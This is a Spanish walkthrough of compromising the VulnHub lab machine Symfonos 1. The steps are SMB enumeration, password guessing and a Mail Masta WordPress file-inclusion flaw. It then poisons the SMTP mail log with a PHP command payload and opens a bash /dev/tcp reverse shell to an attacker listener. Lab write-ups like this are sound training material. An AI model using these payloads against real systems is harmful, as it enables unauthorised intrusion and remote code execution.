Hello World \o/
  • 👾ENCONTRASTE MIS WRITEUPS
  • 🟣 MAQUINAS VULNERADAS
    • Vulnhub
      • Darkhole: 2
      • Symfonos 1
      • Symfonos 2
      • ICA: 1
      • Corrosion 2
      • Venom 1
      • Corrosion 1
    • HackTheBox
      • Return
      • Horizontall
      • Validation
      • Love
      • Nodeblog
      • NunChucks
      • Lame
      • Legacy
      • Knife
    • PortSwigger
      • Blind Sqli
  • 🟣 CTFS
    • Bandit
    • Baby Encription
    • Primed for Action
  • 🟣 BUG BOUNTIES
    • Open Redirect
  • 🟣 SCRIPTS
    • I Found You
  • 🟣 PROYECTOS
    • Landing Page
    • Face Tracker
  • 🟣 SOBRE MI
    • Contactame
Powered by GitBook
On this page
  • Reconocimiento
  • Log Poisoning de SMTP
  1. 🟣 MAQUINAS VULNERADAS
  2. Vulnhub

Symfonos 1

Sobre esta maquina: VulnHub

Sistema Operativo: Linux

Skills Usados:

  • SMB Enumeration

  • Information Leakage, WordPress Enumeratio

  • Abusing WordPress Plugin - Mail Masta 1.0

Metodologia:

En este caso, desconocemos la IP de la máquina. Lo primero que vamos a hacer es recoger los host visibles desde mi equipo cacheados en la tabla ARP. Una alternativa sería utilizar ArpScan.

cat /proc/net/arp
# IP address       HW type     Flags       HW address            Mask     Device
# 192.168.1.140    0x1         0x2         08:00:27:5a:60:b1     *        enp0s3
# 192.168.1.137    0x1         0x0         00:00:00:00:00:00     *        enp0s3

La IP 192.168.1.140 es nuestro objetivo ahora.

Con un ping, obtenemos el TTL para saber si se refiere a una máquina Linux o una Windows.

ping -c 1 192.168.1.140 -R
# PING 192.168.1.140 (192.168.1.140) 56(124) bytes of data.
# 64 bytes from 192.168.1.140: icmp_seq=1 ttl=64 time=0.420 ms
# RR: 	192.168.1.138
# 	    192.168.1.140
# 	    192.168.1.140
#	    192.168.1.138

⚠️TTL~64 - Linux

Reconocimiento

Mediante nmap escaneamos los puertos abiertos.

nmap -p- -sS -vvv --open -n -Pn --min-rate 5000 192.168.1.140 -oG allPorts
# Open ports: 22,25,80,139,445

Afinamos la búsqueda una vez conocidos los puertos abiertos.

nmap -p22,25,80,139,445 -sCV 192.168.1.140 -oN targeted

Y vemos el archivo targeted para mirar un poco el resultado.

# Nmap 7.92 scan initiated Sat Jan 14 11:57:45 2023 as: nmap -p22,25,80,139,445 -sCV -oN targeted 192.168.1.140
Nmap scan report for symfonos.local (192.168.1.140)
Host is up (0.00047s latency).
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
...
25/tcp  open  smtp        Postfix smtpd
...
80/tcp  open  http        Apache httpd 2.4.25 ((Debian))
...
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:5A:60:B1 (Oracle VirtualBox virtual NIC)
...

He omitido el output para quedarme con lo interesante. Servicios de ssh, smtp, http y smb expuestos.

Mediante smbmap, intentamos obtener acceso a los recursos compartidos a ver si está todo bien configurado.

smbmap -H 192.168.1.140
# [+] Guest session   	IP: 192.168.1.140:445	Name: symfonos.local                                    
#         Disk                                           	Permissions	Comment
#         ----                                             	-----------	-------
# 		print$                                            	NO ACCESS	Printer Drivers
# 		helios                                            	NO ACCESS	Helios personal share
#    	anonymous                                         	READ ONLY	
#     	IPC$                                              	NO ACCESS	IPC Service
smbmap -H 192.168.1.140 -r anonymous
# [+] Guest session   	IP: 192.168.1.140:445	Name: symfonos.local                                    
#	anonymous                                         	READ ONLY	
#	.\anonymous\*
#	dr--r--r--                0 Sat Jun 29 03:14:49 2019	.
#	dr--r--r--                0 Sat Jun 29 03:12:15 2019	..
#	fr--r--r--              154 Sat Jun 29 03:14:49 2019	attention.txt
smbmap -H 192.168.1.140 --download anonymous/attention.txt
# [+] Starting download: anonymous\attention.txt (154 bytes)
# [+] File output to: /home/iocio/Desktop/VulnHub/Symfonos1/content/192.168.1.140-anonymous_attention.txt

Si cateamos el archivo de texto obtenemos lo siguiente.

Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'! 

Next person I find using one of these passwords will be fired!

-Zeus

Cosas interesantes hasta aquí, de atrás adelante.

  • Las contraseñas 'epidioko', 'qwerty' y 'baseball' son contraseñas que debería tener en cuenta para continuar con el reto.

  • Por otro lado, hay un recurso compartido llamado 'helios' - 'Helios personal', que me puede hacer pensar que hay un usuario llamado helios. Vamos a intentar loguearnos a smb con el usuario 'helios' y cualquiera de esas 3 contraseñas.

smbmap -H 192.168.1.140 -u helios -p qwerty
# [+] IP: 192.168.1.140:445	Name: symfonos.local                                    
#        Disk                                                  	Permissions	Comment
#     	----                                                  	-----------	-------
#   	print$                                            	READ ONLY	Printer Drivers
#   	helios                                            	READ ONLY	Helios personal #   	anonymous                                         	READ ONLY	
#   	IPC$                                              	NO ACCESS	IPC Service

Tirando del hilo como anteriormente, he encontrado dos archivos. Un research.txt y un todo.txt. El texto de todo.txt es el siguiente.

1. Binge watch Dexter
2. Dance
3. Work on /h3l105

El tercer punto parece un directorio o una ruta. Si accedo por Firefox a la web expuesta y pongo esa ruta, vemos un servidor Wordpress. Coloco la siguiente entrada en /etc/hosts para que los archivos estáticos se descarguen correctamente y poderlo visualizar correctamente.

192.168.1.140    symfonos.local

A partir de aquí podríamos utilizar WpScan, pero vamos a intentar enumerar posibles plugins que pueda tener instalados y buscar vulnerabilidades en ellos.

Con la salida de curl, concatenando varios greps y algunos delimitadores, obtenemos la siguiente entrada:

curl -X get 192.168.1.140/h3l105/ | grep 'wp-content' | grep -oP "'.*?'" | grep symfonos.local | cut -d '/' -f 1-7 | sort -u | grep plugins
# 'http://symfonos.local/h3l105/wp-content/plugins/mail-masta
# 'http://symfonos.local/h3l105/wp-content/plugins/site-editor

Hay un plugin de mails y otro bastante común para la edición del sitio. Recordamos que la máquina tiene expuesto el puerto de 25 SMTP. Vamos a ir por ese camino.

Buscamos vulnerabilidades en searchsploit.

searchsploit mail masta
# WordPress Plugin Mail Masta 1.0 - Local File Inclusion (2)                                                                                                  | php/webapps/50226.py

El plugin Mail Masta tiene una vulnerabilidad de tipo LFI. Mirando el script, vemos que la vulnerabilidad se encuentra en una URL. Vamos a probarlo manualmente con curl.

curl -X GET "http://192.168.1.140/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"
# root:x:0:0:root:/root:/bin/bash
# helios:x:1000:1000:,,,:/home/helios:/bin/bash 

Podemos desarrollar un script para hacer más sencillas las consultas como [[lfi_read_file.sh]]

Un directorio interesante continuando con el tema de smtp, es /var/mail/.

Con ayuda del script, vemos dicho archivo.

./lfi_read_file.sh -f /var/mail/helios

Log Poisoning de SMTP

El directorio /var/mail/helios está expuesto. Si fuésemos capaces de enviar un mail y colar código PHP en él, podríamos mediante el LFI transformarlo en un RCE fácilmente.

Vamos a conectarnos por telnet al puerto del mail y tratar de enviar algo.

telnet 192.168.1.140 25
# Connected to 192.168.1.140.
# Escape character is '^]'.
# 220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
MAIL FROM: 0x10
# 250 2.1.0 Ok
RCPT TO: helios
# 250 2.1.5 Ok
DATA
# 354 End data with .
php system($\_GET['cmd']) ?
.
# 250 2.0.0 Ok: queued as 9ACCB4083E
quit

De este modo, vamos a entablarnos una reverse shell.

# attacker
sudo nc -lvnp 443
listening on [any] 443 ...
# vulnerable machine
curl -vs -X GET "http://192.168.1.140/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=%2Fbin%2Fbash+-c+%22sh+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.138%2F443+0%3E%261%22"
# attacker
# sudo nc -lvnp 443
# listening on [any] 443 ...
connect to [192.168.1.138] from (UNKNOWN) [192.168.1.140] 54028
sh: 0: can't access tty; job control turned off
$ whoami
helios

Ya con Symfonos 1 comprometido verificaremos si tiene una red interna y de alli intentaremos hacer un pivoting hacia Symfonos 2/

PreviousDarkhole: 2NextSymfonos 2

Last updated 1 month ago